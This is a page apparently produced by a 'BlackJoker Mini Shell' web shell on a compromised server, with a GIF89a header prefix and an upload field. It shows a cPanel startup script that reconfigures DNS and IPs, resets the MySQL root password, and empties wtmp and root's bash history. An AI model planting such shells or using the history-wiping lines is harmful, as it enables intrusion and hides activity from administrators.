GIF89a; Mini Shell

Mini Shell

Direktori : /etc/rc.d/rc3.d/
Upload File :
Current File : //etc/rc.d/rc3.d/S70cpanelconfig

#!/bin/bash

# Put me in /etc/rc.d/rc3.d to start just after MySQL service and before the cPanel's services

logger "$0 - START"

# Generate a better resolv.conf
NS1='8.8.8.8'
NS2='8.8.4.4'
resolvconf='/etc/resolv.conf'

resolversnum=`cat $resolvconf | grep '^nameserver.*$' |wc -l 2>/dev/null`
if [ $resolversnum -lt 2 ]; then
    logger "$0 - Configuring nameservers with $NS1 and or $NS2 ..."
    if grep $NS1 $resolvconf >/dev/null 2>&1; then
        logger "$0 - $NS1 found."
    else 
        echo "nameserver $NS1" >> $resolvconf
    fi

    if grep $NS2 $resolvconf >/dev/null 2>&1; then
        logger "$0 - $NS2 found."
    else 
        echo "nameserver $NS2" >> $resolvconf
    fi
fi

# Get the IP and hostname
IP=
HOSTNAME=
IP=`ifconfig eth0 2>/dev/null | grep "inet addr" 2>/dev/null | awk '{print $2}' 2>/dev/null | awk -F: '{print $2}' 2>/dev/null`
HOSTNAME=`hostname 2>/dev/null`

if [ "x${IP}" != "x" -a "x${HOSTNAME}" != "x" ]; then

    # Generate the cPanel www config
    logger "$0 - Create /etc/wwwacct.conf and configure it with ADDR: $IP; HOST: $HOSTNAME"
    cat << ! > /etc/wwwacct.conf
HOST $HOSTNAME
HOMEDIR /home
ETHDEV 
NS ns1.vm
NS2 ns2.vm
HOMEMATCH home
NSTTL 86400
NS4 
TTL 14400
ADDR $IP
DEFMOD x3
SCRIPTALIAS y
CONTACTPAGER 
MINUID 500
NS3 
CONTACTEMAIL 
LOGSTYLE combined
DEFWEBMAILTHEME x3
!

    # Set primary IP address
    logger "$0 - Create /var/cpanel/mainip"
    echo $IP > /var/cpanel/mainip

    # Replace old IP (set up during the cPanel install) with current primary one
    logger "$0 - Set the IP for 'VirtualHost' in all found httpd.conf*"
    find / -name httpd.conf\* -exec sed -i "s/<VirtualHost [0-9\.]\+:/<VirtualHost $IP:/g; s/RewriteCond %{HTTP_HOST} .\+$/RewriteCond %{HTTP_HOST} \!\^$HOSTNAME$/g; s/ServerName .\+$/ServerName $HOSTNAME/g; s/ServerAdmin 
.\+$/ServerAdmin root@$HOSTNAME/g" {} \;

    # Fix/create /etc/mail_reverse_dns with correct primary IP address and host name
    logger "$0 - Create /etc/mail_reverse_dns"
    echo "$IP: $HOSTNAME" > /etc/mail_reverse_dns

    # Fix/create /etc/localdomains with correct host name
    logger "$0 - Create /etc/localdomains"
    echo "$HOSTNAME" > /etc/localdomains
else
    logger "$0 - Undefined IP: '$IP' or hostname: '$HOSTNAME'"
fi

# Tidy up
> /var/log/wtmp
> /root/.bash_history

# Reset mysql root user password
if [ -e /root/.my.cnf ]; then
    passwd=
    passwd=`grep 'pass=' /root/.my.cnf 2>/dev/null | sed 's/.*pass="\(.\+\)".*/\1/g' 2>/dev/null`
    new_passwd=
    new_passwd=`tr -dc 'a-zA-Z0-9!#$%^&()' < /dev/urandom 2>/dev/null | fold -w 10 2>/dev/null | sed 5q 2>/dev/null | head -1 2>/dev/null`

    if [ "x${passwd}" != "x" -a "x${new_passwd}" != "x"  ]; then
        logger "$0 - Changing MySQL root user password ..."
        mysql mysql --password="${passwd}" -e "UPDATE user SET Password = PASSWORD('${new_passwd}') WHERE User = 'root'; FLUSH PRIVILEGES;"
        if [ $? -eq 0 ]; then
            logger "$0 - MySQL root user password has been changed."
            echo -e "[client]\npass=\"${new_passwd}\"\nuser=root" > /root/.my.cnf
        fi
    fi
fi

# Don't run again
rm -f $0
logger "$0 - FINISHED"


./BlackJoker Mini Shell 1.0